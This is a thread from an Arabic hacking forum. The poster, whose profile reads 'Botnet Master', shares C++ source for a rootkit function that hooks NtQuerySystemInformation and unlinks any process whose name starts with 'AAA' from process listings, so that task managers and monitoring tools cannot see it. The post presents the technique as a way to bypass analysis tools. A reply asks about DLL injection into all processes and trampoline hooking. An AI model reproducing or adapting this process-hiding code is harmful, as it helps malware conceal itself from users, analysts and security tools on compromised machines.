(C++ Code snippet) اخفاء العمليات من التاسك ~Rootkit Function~

تم تحميل الصفحة في 1,7011325 ثانية
(C++ Code snippet) اخفاء العمليات من التاسك ~Rootkit Function~
إنضم
7 نوفمبر 2008
المشاركات
1,110
الإعجابات
1,429
النقاط
113
العمر
32
الإقامة
~ Botnet Master ~
السلام عليكم ورحمة الله وبركاته


جمعة مباركة على الجميع


سأدخل بالموضوع مباشرة وهو مخصص للمبرمجين،،

تخطي برامج الفحص (مراقبة العمليات) لا يكون بالخروج ExitProcess عند وجود احدى هذا الاداوت بالجهاز ،، هذا قد يسميه البعض هروب وليس تخطي ولقلة الحلول المطروحة سأقوم بطرح كود فلترة للدالة NtQuerySystemInformation التي يعتمد عليها 99% من برامج مراقبة العميات ،،
الدالة هي نيتف وتصدرها المكتبة ntdll على جميع اصدارات الويندوز ،،




رؤوس اقلام:

- ما سأطرحه هو يعتبر الجزء الصعب في عملية التخطي (الفلترة الفعلية) اما طريقة تنصيب الهوك والحقن فهي سهلة وترجع الى حرية المبرمج مااذا كان يريد حقن كل عملية على حدة او تنصيب global hook

- من المهم ان لاتقوم بتنفيذ معالجات ثقيلة تطيل من عملية الفلترة ،، حيث ان كود الفلترة الخاص بنا يستم استدعائه في كل مرة يتم طلب الدالة الاصلية واذا كانت معالجاتك طويلة ستسبب ثقل واضح في البرنامج الهدف (بحكم ان الدالة الاصلية يتم طلبها كثيرا خلال اجزاء من الثواني)

- لذلك عند قرائتك للكود لا تجدني اطيل في المعاجات بل اني مختصر وحتى لم استخدم اي winapi لعمل text comparison مثل strstr او strcmp بل اقوم بالتحقق من البايتات مباشرة واي عملية اسمها يبدأ بـ AAA سيتم اخفائها

- الناتج ؟؟ فلترة صاروخية ولك حرية التجريب ،،

- امكانية حدوث كراش بسبب الفلترة هي قليلة جدا او شبه معدومة بحكم ان الكود المطروح استخدمه منذ سنوات على عدد كبير من الاجهزة، لكن سأكون ممنون لاي شخص يعطيني feedback عن اي مشكلة تواجهه.

- حاولت ان اكتب تعليقات على الكود قدر الامكان لكي تساعد الاخوان المبتدئين في اللغة من دراسته.



الكود:
C++:
#include <Windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0)

// define whatever ntdll structures manually instead of including the whole lib for size reducing
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER Reserved[3];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    ULONG BasePriority;
    HANDLE ProcessId;
    HANDLE InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, *PMY_SYSTEM_PROCESS_INFORMATION;
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

//define prototype of targeted function
typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation __NtQuerySystemInformation; //pointers



// this is our filtering function, any calls on "NtQuerySystemInformation" will call our function at execution
NTSTATUS WINAPI _NtQuerySystemInformation_(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
    //we call the original api anyway, then we check the returned data
    NTSTATUS status = __NtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

    if (STATUS_SUCCESS != status) return status; //just return as it is if something went wrong

    if (SystemInformationClass == SystemProcessInformation) //we are interested to filter this class only, related to [process-listing]
    {
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)SystemInformation; //defined pointer on the returned data,  SystemInformation is a PVOID of data buffer

        if (pNext == NULL) return status; //could happen in poor taskview tools, if happned it will crash the target app, so it worth it to check if our pointer in NULL
        do //do-while loop through all the returned process lists
        {
            pCurrent = pNext; // save previous index to move for new one
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset); // as said above pCurrent = the previous index, so pCurrent->NextEntryOffset + pCurrent = should lead you to the next index, or Zero if no more.

            if (pNext->ImageName.Buffer[0] == L'A' && pNext->ImageName.Buffer[1] == L'A' && pNext->ImageName.Buffer[2] == L'A') // we check only the first 3 wide chars directly without using any api like (strstr/strcmp) which dramatically boost our filtering speed.
            {
                if (pNext->NextEntryOffset == 0) //if no other entries after this index:
                {
                    pCurrent->NextEntryOffset = 0; //set the previous index (record) as 0 just right before us
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset; //otherwise we modify the next index size to jump over our records in the process-list
                }
                pNext = pCurrent;
            }
        } while (pCurrent->NextEntryOffset != 0); ////do-while loop
    }
    return status; //end of function
}


رابط الكود من هنا





نتيجة الفلترة ؟ شاهد الفيديو (يوجد موسيقى وجب التنويه)
 

slarkpicker

موقوف لمخالفة الشروط
rank
إنضم
17 ديسمبر 2018
المشاركات
34
الإعجابات
33
النقاط
18
العمر
101
what kinda of callback are you using to get notified of newly created processes,? and about hooking are you injecting your dll dll into all processes then patching NtQuerySystemInformation address of each process to jump to your trampoline function? .btw I'll try to implement it and let you know about result. Sorry I don't have arabic keyboard at the moment
 
الإعجابات: ANBR

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل